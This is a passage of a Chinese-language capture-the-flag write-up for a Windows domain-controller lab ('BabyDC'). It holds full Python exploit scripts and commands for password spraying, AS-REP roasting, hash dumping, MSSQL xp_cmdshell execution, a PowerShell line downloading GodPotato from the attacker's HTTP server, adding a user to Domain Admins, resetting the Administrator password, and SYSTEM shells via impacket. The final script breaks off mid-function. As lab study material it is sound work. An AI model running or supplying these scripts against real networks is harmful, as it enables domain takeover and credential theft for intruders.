        rf&amp;quot;del {batch_path}&amp;quot;
    )

    service_handle = None
    try:
        resp = scmr.hRCreateServiceW(
            dce,
            scm_handle,
            service_name,
            service_name,
            lpBinaryPathName=binary_path,
            dwStartType=scmr.SERVICE_DEMAND_START,
        )
        service_handle = resp[&amp;quot;lpServiceHandle&amp;quot;]
        try:
            scmr.hRStartServiceW(dce, service_handle)
        except Exception:
            pass

        time.sleep(1)

        last_error = None
        for _ in range(30):
            try:
                chunks = []

                def callback(data: bytes) -&amp;gt; None:
                    chunks.append(data)

                smb_conn.getFile(&amp;quot;ADMIN$&amp;quot;, rf&amp;quot;Temp\{output_name}&amp;quot;, callback)
                output = b&amp;quot;&amp;quot;.join(chunks).decode(&amp;quot;utf-8&amp;quot;, errors=&amp;quot;backslashreplace&amp;quot;)
                if output.strip():
                    smb_conn.deleteFile(&amp;quot;ADMIN$&amp;quot;, rf&amp;quot;Temp\{output_name}&amp;quot;)
                    return output
            except Exception as exc:
                last_error = exc
            time.sleep(1)
        raise RuntimeError(f&amp;quot;timed out waiting for remote output file {output_name}: {last_error}&amp;quot;)
    finally:
        if service_handle is not None:
            try:
                scmr.hRDeleteService(dce, service_handle)
            except Exception:
                pass
            try:
                scmr.hRCloseServiceHandle(dce, service_handle)
            except Exception:
                pass
        try:
            scmr.hRCloseServiceHandle(dce, scm_handle)
        except Exception:
            pass
        try:
            dce.disconnect()
        except Exception:
            pass


def extract_proof(output: str, command: str) -&amp;gt; str:
    cleaned = re.sub(r&amp;quot;[\x00-\x08\x0b-\x1f]&amp;quot;, &amp;quot;&amp;quot;, output)
    if command == &amp;quot;whoami&amp;quot;:
        match = re.search(r&amp;quot;(?im)^\s*(nt authority\\system)\s*$&amp;quot;, cleaned)
    elif command == &amp;quot;hostname&amp;quot;:
        match = re.search(r&amp;quot;(?im)^\s*(CASTLEVANIA)\s*$&amp;quot;, cleaned)
    else:
        match = None
    if not match:
        raise RuntimeError(f&amp;quot;failed to extract proof line for {command}&amp;quot;)
    return match.group(1)


def verify_shell(
    *,
    dump_path: Path,
    hash_line: str | None,
    domain: str,
    username: str,
    target_name: str,
    target_ip: str,
    smb_port: int,
    whoami_path: Path,
    hostname_path: Path,
    retries: int,
    retry_delay: int,
) -&amp;gt; tuple[str, str]:
    if not hash_line:
        ensure_exists(dump_path, &amp;quot;Run the full mode first or provide --hash-line.&amp;quot;)
        hash_line = extract_hash_line(dump_path, username)

    lmhash, nthash = parse_hash_line(hash_line)
    identity = f&amp;quot;{domain}/{username}@{target_name}&amp;quot;
    print(f&amp;quot;[*] principal : {identity}&amp;quot;)
    print(f&amp;quot;[*] target ip : {target_ip}:{smb_port}&amp;quot;)
    print(f&amp;quot;[*] hashes    : {lmhash}:{nthash}&amp;quot;)

    def run_with_retry(command: str) -&amp;gt; str:
        last_error = None
        for attempt in range(1, retries + 1):
            try:
                return smbexec_one_shot(
                    target_name=target_name,
                    target_ip=target_ip,
                    smb_port=smb_port,
                    domain=domain,
                    username=username,
                    password=&amp;quot;&amp;quot;,
                    lmhash=lmhash,
                    nthash=nthash,
                    command=command,
                )
            except Exception as exc:
                last_error = exc
                if attempt == retries:
                    break
                print(f&amp;quot;[*] retry {attempt}/{retries - 1} for {command}: {exc}&amp;quot;)
                time.sleep(retry_delay)
        raise RuntimeError(f&amp;quot;{command} failed after {retries} attempts: {last_error}&amp;quot;)

    whoami_output = run_with_retry(&amp;quot;whoami&amp;quot;)
    whoami_path.write_text(whoami_output, encoding=&amp;quot;utf-8&amp;quot;)
    whoami = extract_proof(whoami_output, &amp;quot;whoami&amp;quot;)
    print(f&amp;quot;[+] whoami    : {whoami}&amp;quot;)

    hostname_output = run_with_retry(&amp;quot;hostname&amp;quot;)
    hostname_path.write_text(hostname_output, encoding=&amp;quot;utf-8&amp;quot;)
    hostname = extract_proof(hostname_output, &amp;quot;hostname&amp;quot;)
    print(f&amp;quot;[+] hostname  : {hostname}&amp;quot;)

    return whoami, hostname


def do_full(args) -&amp;gt; int:
    python_exe = args.python.resolve()
    vboxmanage = args.vboxmanage.resolve() if args.vboxmanage else find_vboxmanage()
    wsl_exe = args.wsl.resolve() if args.wsl else find_wsl()
    secretsdump = args.secretsdump.resolve() if args.secretsdump else find_secretsdump(python_exe)

    ensure_exists(python_exe, &amp;quot;Use a Python interpreter with impacket installed.&amp;quot;)

    args.vbox_home.mkdir(parents=True, exist_ok=True)
    args.offline_dir.mkdir(parents=True, exist_ok=True)
    (ROOT / &amp;quot;vm&amp;quot;).mkdir(parents=True, exist_ok=True)

    print(&amp;quot;[*] extracting OVA if needed&amp;quot;)
    ensure_ova_extracted(args.ova, args.ovf, args.vmdk)

    print(&amp;quot;[*] preparing VDI&amp;quot;)
    ensure_vdi(vboxmanage, args.vmdk, args.vdi)

    print(&amp;quot;[*] registering VM&amp;quot;)
    ensure_vm_registered(vboxmanage, args.vbox_home, args.vm_dir, args.vdi)

    print(&amp;quot;[*] setting NAT forwards&amp;quot;)
    ensure_nat_rules(vboxmanage, args.vbox_home)

    print(&amp;quot;[*] starting VM&amp;quot;)
    restart_vm(vboxmanage, args.vbox_home, args.boot_wait)

    print(&amp;quot;[*] copying offline hives from VMDK&amp;quot;)
    copy_offline_hives(wsl_exe, ROOT, args.offline_dir, args.wsl_distro, args.vmdk)

    print(&amp;quot;[*] running secretsdump&amp;quot;)
    run_secretsdump(python_exe, secretsdump, args.offline_dir, args.dump)

    print(&amp;quot;[*] verifying Administrator shell&amp;quot;)
    whoami, hostname = verify_shell(
        dump_path=args.dump,
        hash_line=args.hash_line,
        domain=args.domain,
        username=args.user,
        target_name=args.target,
        target_ip=args.target_ip,
        smb_port=args.smb_port,
        whoami_path=args.whoami_out,
        hostname_path=args.hostname_out,
        retries=args.verify_retries,
        retry_delay=args.verify_delay,
    )
    print(f&amp;quot;[+] complete   : {whoami} @ {hostname}&amp;quot;)
    return 0


def do_verify(args) -&amp;gt; int:
    print(&amp;quot;[*] verifying Administrator shell&amp;quot;)
    whoami, hostname = verify_shell(
        dump_path=args.dump,
        hash_line=args.hash_line,
        domain=args.domain,
        username=args.user,
        target_name=args.target,
        target_ip=args.target_ip,
        smb_port=args.smb_port,
        whoami_path=args.whoami_out,
        hostname_path=args.hostname_out,
        retries=args.verify_retries,
        retry_delay=args.verify_delay,
    )
    print(f&amp;quot;[+] complete   : {whoami} @ {hostname}&amp;quot;)
    return 0


def build_parser() -&amp;gt; argparse.ArgumentParser:
    parser = argparse.ArgumentParser(description=&amp;quot;One-file local reproduction script for BabyDC.&amp;quot;)
    parser.add_argument(&amp;quot;--python&amp;quot;, type=Path, default=Path(sys.executable), help=&amp;quot;Python interpreter with impacket installed&amp;quot;)
    parser.add_argument(&amp;quot;--domain&amp;quot;, default=&amp;quot;XMCVE.local&amp;quot;)
    parser.add_argument(&amp;quot;--user&amp;quot;, default=&amp;quot;Administrator&amp;quot;)
    parser.add_argument(&amp;quot;--target&amp;quot;, default=&amp;quot;CASTLEVANIA.XMCVE.local&amp;quot;)
    parser.add_argument(&amp;quot;--target-ip&amp;quot;, default=&amp;quot;127.0.0.1&amp;quot;)
    parser.add_argument(&amp;quot;--smb-port&amp;quot;, type=int, default=10445)
    parser.add_argument(&amp;quot;--dump&amp;quot;, type=Path, default=DEFAULT_DUMP)
    parser.add_argument(&amp;quot;--hash-line&amp;quot;, help=&amp;quot;Explicit secretsdump line, overrides --dump in verify mode&amp;quot;)
    parser.add_argument(&amp;quot;--whoami-out&amp;quot;, type=Path, default=DEFAULT_WHOAMI)
    parser.add_argument(&amp;quot;--hostname-out&amp;quot;, type=Path, default=DEFAULT_HOSTNAME)
    parser.add_argument(&amp;quot;--verify-retries&amp;quot;, type=int, default=12, help=&amp;quot;Retry count for post-boot shell validation&amp;quot;)
    parser.add_argument(&amp;quot;--verify-delay&amp;quot;, type=int, default=5, help=&amp;quot;Seconds between shell validation retries&amp;quot;)

    subparsers = parser.add_subparsers(dest=&amp;quot;mode&amp;quot;, required=True)

    full = subparsers.add_parser(&amp;quot;full&amp;quot;, help=&amp;quot;Extract the disk, boot the VM, dump hashes, and verify SYSTEM execution&amp;quot;)
    full.add_argument(&amp;quot;--ova&amp;quot;, type=Path, default=DEFAULT_OVA)
    full.add_argument(&amp;quot;--ovf&amp;quot;, type=Path, default=DEFAULT_OVF)
    full.add_argument(&amp;quot;--vmdk&amp;quot;, type=Path, default=DEFAULT_VMDK)
    full.add_argument(&amp;quot;--vm-dir&amp;quot;, type=Path, default=DEFAULT_VM_DIR)
    full.add_argument(&amp;quot;--vdi&amp;quot;, type=Path, default=DEFAULT_VDI)
    full.add_argument(&amp;quot;--vbox-home&amp;quot;, type=Path, default=DEFAULT_VBOX_HOME)
    full.add_argument(&amp;quot;--offline-dir&amp;quot;, type=Path, default=DEFAULT_OFFLINE_DIR)
    full.add_argument(&amp;quot;--vboxmanage&amp;quot;, type=Path, help=&amp;quot;Override VBoxManage.exe&amp;quot;)
    full.add_argument(&amp;quot;--wsl&amp;quot;, type=Path, help=&amp;quot;Override wsl.exe&amp;quot;)
    full.add_argument(&amp;quot;--wsl-distro&amp;quot;, default=&amp;quot;kali-linux&amp;quot;)
    full.add_argument(&amp;quot;--secretsdump&amp;quot;, type=Path, help=&amp;quot;Override secretsdump.py&amp;quot;)
    full.add_argument(&amp;quot;--boot-wait&amp;quot;, type=int, default=25, help=&amp;quot;Seconds to wait after starting the VM&amp;quot;)
    full.set_defaults(func=do_full)

    verify = subparsers.add_parser(&amp;quot;verify&amp;quot;, help=&amp;quot;Use the dump or a hash line to prove SYSTEM execution&amp;quot;)
    verify.set_defaults(func=do_verify)

    return parser


def main() -&amp;gt; int:
    parser = build_parser()
    args = parser.parse_args()
    return args.func(args)


if __name__ == &amp;quot;__main__&amp;quot;:
    try:
        raise SystemExit(main())
    except Exception as exc:
        print(f&amp;quot;[-] {exc}&amp;quot;, file=sys.stderr)
        raise
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;弱口令&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;出这个靶机实际上部分参考了xen-prolabs，当时随手设了几个干扰账户.....忘记修改为强密码了&lt;/p&gt;
&lt;p&gt;导致可以越掉IIS，MSSQL，SMTP的Swaks欺骗三个考点，直接拿mowen账号来Backup Operators&lt;/p&gt;
&lt;p&gt;俩名选手采用该方法解出题目&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1. 用户枚举与口令喷洒&lt;/h3&gt;
&lt;p&gt;先用 &lt;code&gt;kerbrute&lt;/code&gt; 跑一轮常见用户名：&lt;/p&gt;
&lt;p&gt;kerbrute userenum -d XMCVE.local --dc 192.168.56.105 /usr/share/seclists/Usernames/top-usernames-shortlist.txt&lt;/p&gt;
&lt;p&gt;命中的有效用户包括：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;admin
sales
support
administrator
Admin
alucard
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着做一轮最常见弱口令喷洒：&lt;/p&gt;
&lt;p&gt;kerbrute passwordspray -d XMCVE.local --dc 192.168.56.105 valid_users.txt &amp;#39;Password123!&amp;#39;&lt;/p&gt;
&lt;p&gt;命中结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;admin:Password123!
sales:Password123!
support:Password123!
Admin:Password123!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步只拿到了普通域账号，没有直接管理权限。&lt;/p&gt;
&lt;h3&gt;2. BloodHound 找真正突破口&lt;/h3&gt;
&lt;p&gt;用已知凭据采集 BloodHound 数据：&lt;/p&gt;
&lt;p&gt;bloodhound-python -u admin -p &amp;#39;Password123!&amp;#39; -d XMCVE.local -dc CASTLEVANIA.XMCVE.local -ns 192.168.56.105 -c All --zip&lt;/p&gt;
&lt;p&gt;在采集结果里，关键用户是 &lt;code&gt;MOWEN@XMCVE.LOCAL&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;已验证到的关键属性：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;dontreqpreauth: true
serviceprincipalnames: HTTP/CASTLEVANIA.XMCVE.local
member of: BACKUP OPERATORS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时还能看到：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;mailto:ALUCARD@XMCVE.LOCAL&quot;&gt;ALUCARD@XMCVE.LOCAL&lt;/a&gt; -&amp;gt; member of local Administrators&lt;/p&gt;
&lt;p&gt;但 &lt;code&gt;alucard&lt;/code&gt; 当前没有口令，暂时走不通。&lt;/p&gt;
&lt;p&gt;因此最优路径变成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先打 &lt;code&gt;mowen&lt;/code&gt; 的 AS-REP Roast&lt;/li&gt;
&lt;li&gt;再利用其 &lt;code&gt;Backup Operators&lt;/code&gt; 权限打域控&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;3. AS-REP Roast 拿下 mowen&lt;/h3&gt;
&lt;p&gt;因为 &lt;code&gt;mowen&lt;/code&gt; 开启了“不需要预认证”，可以直接请求 AS-REP：&lt;/p&gt;
&lt;p&gt;impacket-GetNPUsers XMCVE.local/mowen -dc-ip 192.168.56.105 -no-pass -request&lt;/p&gt;
&lt;p&gt;拿到哈希后用 John 爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;john mowen.asrep --wordlist=/usr/share/wordlists/rockyou.txt
john --show mowen.asrep
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爆破结果：&lt;/p&gt;
&lt;p&gt;mowen:1maxwell&lt;/p&gt;
&lt;p&gt;至此得到可用凭据：&lt;/p&gt;
&lt;p&gt;XMCVE.local\mowen : 1maxwell&lt;/p&gt;
&lt;h2&gt;土豆提权&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;通过Mssql的账户权限-SeImpersonatePrivilege进行土豆提权&lt;/p&gt;
&lt;p&gt;三名选手采用该方法解出题目&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;手法一&lt;/h3&gt;
&lt;h4&gt;1. SQL 利用&lt;/h4&gt;
&lt;p&gt;通过wuwupor / lovlyBaby登录mssql&lt;/p&gt;
&lt;p&gt;确认配置项时还能看到 linked server的&lt;code&gt;xp_cmdshell&lt;/code&gt; 已经开启：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SELECT name, CAST(value_in_use AS int) AS value_in_use
FROM sys.configurations
WHERE name IN (&amp;#39;xp_cmdshell&amp;#39;, &amp;#39;Ole Automation Procedures&amp;#39;, &amp;#39;Ad Hoc Distributed Queries&amp;#39;, &amp;#39;clr enabled&amp;#39;, &amp;#39;remote access&amp;#39;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是可以直接通过 &lt;code&gt;POO_PUBLIC&lt;/code&gt; 执行系统命令：&lt;/p&gt;
&lt;p&gt;EXEC (&amp;#39;EXEC xp_cmdshell &amp;#39;&amp;#39;whoami&amp;#39;&amp;#39;&amp;#39;) AT POO_PUBLIC;&lt;/p&gt;
&lt;p&gt;返回身份是：&lt;/p&gt;
&lt;p&gt;xmcve\sqlsvc&lt;/p&gt;
&lt;p&gt;接着看权限：&lt;/p&gt;
&lt;p&gt;EXEC (&amp;#39;EXEC xp_cmdshell &amp;#39;&amp;#39;whoami /priv&amp;#39;&amp;#39;&amp;#39;) AT POO_PUBLIC;&lt;/p&gt;
&lt;p&gt;输出里最关键的一项是：&lt;/p&gt;
&lt;p&gt;SeImpersonatePrivilege    Enabled&lt;/p&gt;
&lt;p&gt;这说明 &lt;code&gt;sqlsvc&lt;/code&gt; 已经满足典型的本地提权条件，只差一条能把 &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; 用起来的链。这里直接使用 &lt;code&gt;GodPotato&lt;/code&gt;，它对 Windows Server 2019 可用。&lt;/p&gt;
&lt;h4&gt;2. 系统提权&lt;/h4&gt;
&lt;p&gt;利用思路非常直接：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;xp_cmdshell&lt;/code&gt; 下发 &lt;code&gt;GodPotato.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;让 &lt;code&gt;GodPotato&lt;/code&gt; 以 &lt;code&gt;SYSTEM&lt;/code&gt; 身份执行一条命令&lt;/li&gt;
&lt;li&gt;把已知明文口令的 &lt;code&gt;sqlsvc / Sql!2026&lt;/code&gt; 加进 &lt;code&gt;Domain Admins&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;重新用 &lt;code&gt;sqlsvc / Sql!2026&lt;/code&gt; 发起网络登录，直接拿管理员级远程会话&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;GodPotato&lt;/code&gt; 先用 &lt;code&gt;whoami&lt;/code&gt; 验证时，返回结果里已经能看到：&lt;/p&gt;
&lt;p&gt;CurrentUser: NT AUTHORITY\SYSTEM&lt;/p&gt;
&lt;p&gt;然后执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;net group &amp;quot;Domain Admins&amp;quot; sqlsvc /add /domain
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令成功后，重新使用 &lt;code&gt;sqlsvc / Sql!2026&lt;/code&gt; 进行远程执行，就能拿到管理员级 shell。这里用 &lt;code&gt;psexec&lt;/code&gt; 验证，返回结果是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nt authority\system
CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功拿到admin shell&lt;/p&gt;
&lt;h4&gt;3.Exp&lt;/h4&gt;
&lt;p&gt;下面给出完整利用脚本。脚本会先连 SQL，确认 &lt;code&gt;POO_PUBLIC&lt;/code&gt; 可用，然后临时开启一个本地 HTTP 服务，把同目录中的 &lt;code&gt;GodPotato.exe&lt;/code&gt; 下发到目标，执行提权，再自动调用 &lt;code&gt;psexec&lt;/code&gt; 拉起管理员 shell。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import argparse
import contextlib
import functools
import http.server
import shutil
import socket
import socketserver
import subprocess
import sys
import threading
import time
from pathlib import Path

import pytds


def quote_sql(value: str) -&amp;gt; str:
    return value.replace(&amp;quot;&amp;#39;&amp;quot;, &amp;quot;&amp;#39;&amp;#39;&amp;quot;)


def get_local_ip_for_target(target_ip: str) -&amp;gt; str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        sock.connect((target_ip, 1433))
        return sock.getsockname()[0]
    finally:
        sock.close()


class QuietHandler(http.server.SimpleHTTPRequestHandler):
    def log_message(self, fmt: str, *args) -&amp;gt; None:
        pass


class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


@contextlib.contextmanager
def serve_directory(directory: Path, host: str):
    handler = functools.partial(QuietHandler, directory=str(directory))
    server = ThreadingHTTPServer((host, 0), handler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    try:
        yield server.server_address[1]
    finally:
        server.shutdown()
        server.server_close()
        thread.join(timeout=1)


class MSSQLExploit:
    def __init__(self, server: str, user: str, password: str, database: str = &amp;quot;master&amp;quot;, port: int = 1433):
        self.conn = pytds.connect(
            server=server,
            database=database,
            user=user,
            password=password,
            port=port,
            validate_host=False,
            use_tz=False,
            autocommit=True,
        )

    def close(self) -&amp;gt; None:
        self.conn.close()

    def run_query(self, query: str):
        cur = self.conn.cursor()
        cur.execute(query)
        if not cur.description:
            return []
        rows = cur.fetchall()
        columns = [c[0] for c in cur.description]
        return [dict(zip(columns, row)) for row in rows]

    def xp_cmdshell_via_public(self, command: str):
        query = f&amp;quot;EXEC (&amp;#39;EXEC xp_cmdshell &amp;#39;&amp;#39;{quote_sql(command)}&amp;#39;&amp;#39;&amp;#39;) AT POO_PUBLIC&amp;quot;
        return self.run_query(query)


def print_rows(title: str, rows) -&amp;gt; None:
    print(f&amp;quot;\n=== {title} ===&amp;quot;)
    if not rows:
        print(&amp;quot;(no rows)&amp;quot;)
        return
    for row in rows:
        print(row)


def ensure_psexec() -&amp;gt; str:
    candidates = [
        shutil.which(&amp;quot;psexec.py&amp;quot;),
        str(Path(sys.executable).with_name(&amp;quot;psexec.py&amp;quot;)),
        str(Path(sys.executable).resolve().parent.parent / &amp;quot;Scripts&amp;quot; / &amp;quot;psexec.py&amp;quot;),
    ]
    for candidate in candidates:
        if candidate and Path(candidate).exists():
            return candidate
    raise FileNotFoundError(&amp;quot;psexec.py not found in PATH or next to the current Python installation.&amp;quot;)


def main() -&amp;gt; int:
    parser = argparse.ArgumentParser(description=&amp;quot;Exploit for codegate babydc.&amp;quot;)
    parser.add_argument(&amp;quot;--target&amp;quot;, default=&amp;quot;192.168.124.7&amp;quot;)
    parser.add_argument(&amp;quot;--sql-user&amp;quot;, default=&amp;quot;wuwupor&amp;quot;)
    parser.add_argument(&amp;quot;--sql-password&amp;quot;, default=&amp;quot;lovlyBaby&amp;quot;)
    parser.add_argument(&amp;quot;--domain&amp;quot;, default=&amp;quot;XMCVE&amp;quot;)
    parser.add_argument(&amp;quot;--pivot-user&amp;quot;, default=&amp;quot;sqlsvc&amp;quot;)
    parser.add_argument(&amp;quot;--pivot-password&amp;quot;, default=&amp;quot;Sql!2026&amp;quot;)
    parser.add_argument(&amp;quot;--command&amp;quot;, default=&amp;quot;cmd.exe&amp;quot;, help=&amp;quot;Command passed to psexec after sqlsvc becomes Domain Admin.&amp;quot;)
    args = parser.parse_args()

    base_dir = Path(__file__).resolve().parent
    godpotato = base_dir / &amp;quot;GodPotato.exe&amp;quot;
    if not godpotato.exists():
        raise FileNotFoundError(f&amp;quot;Missing helper: {godpotato}&amp;quot;)

    target_ip = args.target
    local_ip = get_local_ip_for_target(target_ip)
    print(f&amp;quot;[+] target: {target_ip}&amp;quot;)
    print(f&amp;quot;[+] local callback IP: {local_ip}&amp;quot;)

    sql = MSSQLExploit(target_ip, args.sql_user, args.sql_password)
    try:
        print_rows(
            &amp;quot;linked server context&amp;quot;,
            sql.run_query(
                &amp;quot;EXEC (&amp;#39;SELECT @@SERVERNAME AS server_name, SYSTEM_USER AS current_login, &amp;quot;
                &amp;quot;IS_SRVROLEMEMBER(&amp;#39;&amp;#39;sysadmin&amp;#39;&amp;#39;) AS is_sysadmin&amp;#39;) AT POO_PUBLIC&amp;quot;
            ),
        )
        print_rows(&amp;quot;xp_cmdshell identity&amp;quot;, sql.xp_cmdshell_via_public(&amp;quot;whoami /priv&amp;quot;))

        with serve_directory(base_dir, &amp;quot;0.0.0.0&amp;quot;) as port:
            download_cmd = (
                &amp;#39;powershell -c &amp;quot;try {(New-Object Net.WebClient).DownloadFile(&amp;#39;
                f&amp;quot;&amp;#39;http://{local_ip}:{port}/{godpotato.name}&amp;#39;,&amp;quot;
                &amp;quot;&amp;#39;C:\\Windows\\Temp\\GodPotato.exe&amp;#39;);&amp;quot;
                &amp;#39;Write-Output OK} catch { Write-Output $_.Exception.Message }&amp;quot;&amp;#39;
            )
            print_rows(&amp;quot;download helper&amp;quot;, sql.xp_cmdshell_via_public(download_cmd))
            print_rows(
                &amp;quot;helper presence&amp;quot;,
                sql.xp_cmdshell_via_public(
                    &amp;#39;powershell -c &amp;quot;Get-Item \&amp;#39;C:\\Windows\\Temp\\GodPotato.exe\&amp;#39; | &amp;#39;
                    &amp;#39;Select-Object Name,Length | Format-List&amp;quot;&amp;#39;
                ),
            )

        add_group_cmd = (
            &amp;#39;C:\\Windows\\Temp\\GodPotato.exe -cmd &amp;#39;
            f&amp;#39;&amp;quot;cmd /c net group \\&amp;quot;Domain Admins\\&amp;quot; {args.pivot_user} /add /domain&amp;quot;&amp;#39;
        )
        print_rows(&amp;quot;godpotato group add&amp;quot;, sql.xp_cmdshell_via_public(add_group_cmd))
        time.sleep(2)
    finally:
        sql.close()

    psexec = ensure_psexec()
    user_spec = f&amp;quot;{args.domain}/{args.pivot_user}:{args.pivot_password}@{target_ip}&amp;quot;
    cmd = [sys.executable, psexec, user_spec, args.command]
    print(f&amp;quot;[+] launching psexec: {&amp;#39; &amp;#39;.join(cmd)}&amp;quot;)
    return subprocess.call(cmd)


if __name__ == &amp;quot;__main__&amp;quot;:
    raise SystemExit(main())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;手法二&lt;/h3&gt;
&lt;h4&gt;GodPotato&lt;/h4&gt;
&lt;p&gt;由于系统是 Windows Server 2019，且 &lt;code&gt;sqlsvc&lt;/code&gt; 拥有 &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;，直接换成 &lt;code&gt;GodPotato&lt;/code&gt; 即可。&lt;/p&gt;
&lt;p&gt;我在宿主机开了一个临时 HTTP 服务，把 &lt;code&gt;GodPotato-NET4.exe&lt;/code&gt; 投到客机，然后通过 SQL 执行：&lt;/p&gt;
&lt;p&gt;C:\Windows\Temp\GodPotato-NET4.exe -cmd &amp;quot;cmd /c net user Administrator Xmctf2026Aa /domain&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GodPotato&lt;/code&gt; 的关键回显如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Start Search System Token
[*] PID : 804 Token:0x800  User: NT AUTHORITY\SYSTEM
[*] Find System Token : True
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid ...
The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明链条已经把 &lt;code&gt;sqlsvc&lt;/code&gt; 抬到了 &lt;code&gt;SYSTEM&lt;/code&gt;，并成功执行了我们给它的命令。&lt;/p&gt;
&lt;p&gt;随后再查：&lt;/p&gt;
&lt;p&gt;net user Administrator /domain&lt;/p&gt;
&lt;p&gt;可以看到 &lt;code&gt;Password last set&lt;/code&gt; 已经更新，说明域管理员密码确实被改掉了。&lt;/p&gt;
&lt;h4&gt;验证 Administrator shell&lt;/h4&gt;
&lt;p&gt;最后直接用新密码通过 impacket 的 &lt;code&gt;wmiexec.py&lt;/code&gt; 验证远程管理员执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python wmiexec.py XMCVE/Administrator:Xmctf2026Aa@169.254.212.20 whoami
python wmiexec.py XMCVE/Administrator:Xmctf2026Aa@169.254.212.20 hostname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回显：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;xmcve\administrator
CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步已经满足题目要求的：&lt;/p&gt;
&lt;p&gt;拿到 Administrator shell&lt;/p&gt;
&lt;h4&gt;补充：本地 flag 文本的恢复&lt;/h4&gt;
&lt;p&gt;虽然官方 flag 要人工审核后发放，但镜像里其实残留了一个已经删除的本地 flag 文件线索。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;Alucard&lt;/code&gt; 的 Recent 里有一个快捷方式：&lt;/p&gt;
&lt;p&gt;C:\Users\Alucard\Recent\flag.lnk&lt;/p&gt;
&lt;p&gt;它指向：&lt;/p&gt;
&lt;p&gt;C:\Users\Administrator\Desktop\flag.txt&lt;/p&gt;
&lt;p&gt;这个文件本身已经被删掉了，但在回收站目录中仍然留有内容文件：&lt;/p&gt;
&lt;p&gt;$Recycle.Bin\S-1-5-21-...-500$RIZ9PVX.txt&lt;/p&gt;
&lt;p&gt;离线读这个文件，能恢复出：&lt;/p&gt;
&lt;p&gt;FLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}&lt;/p&gt;
&lt;h4&gt;Exploit&lt;/h4&gt;
&lt;p&gt;完整利用脚本放在：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;from __future__ import annotations

import subprocess
import sys
import threading
from dataclasses import dataclass
from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path

from impacket import tds


TARGET_IP = &amp;quot;169.254.212.20&amp;quot;
HOST_HTTP_IP = &amp;quot;169.254.212.1&amp;quot;
HOST_HTTP_PORT = 8000

SQL_USER = &amp;quot;wuwupor&amp;quot;
SQL_PASS = &amp;quot;lovlyBaby&amp;quot;
NEW_ADMIN_PASS = &amp;quot;Xmctf2026Aa&amp;quot;


@dataclass
class HttpServerContext:
    server: ThreadingHTTPServer
    thread: threading.Thread

    def close(self) -&amp;gt; None:
        self.server.shutdown()
        self.server.server_close()
        self.thread.join(timeout=3)


class QuietHandler(SimpleHTTPRequestHandler):
    def log_message(self, format: str, *args) -&amp;gt; None:  # noqa: A003
        return


def start_http_server(directory: Path) -&amp;gt; HttpServerContext:
    handler = lambda *args, **kwargs: QuietHandler(*args, directory=str(directory), **kwargs)
    server = ThreadingHTTPServer((HOST_HTTP_IP, HOST_HTTP_PORT), handler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return HttpServerContext(server=server, thread=thread)


def sql_connect() -&amp;gt; tds.MSSQL:
    mssql = tds.MSSQL(TARGET_IP, 1433)
    mssql.connect()
    ok = mssql.login(None, SQL_USER, SQL_PASS, None, None, useWindowsAuth=False)
    if not ok:
        raise RuntimeError(&amp;quot;failed to log into MSSQL with recovered credentials&amp;quot;)
    return mssql


def exec_via_public(mssql: tds.MSSQL, command: str) -&amp;gt; list[str]:
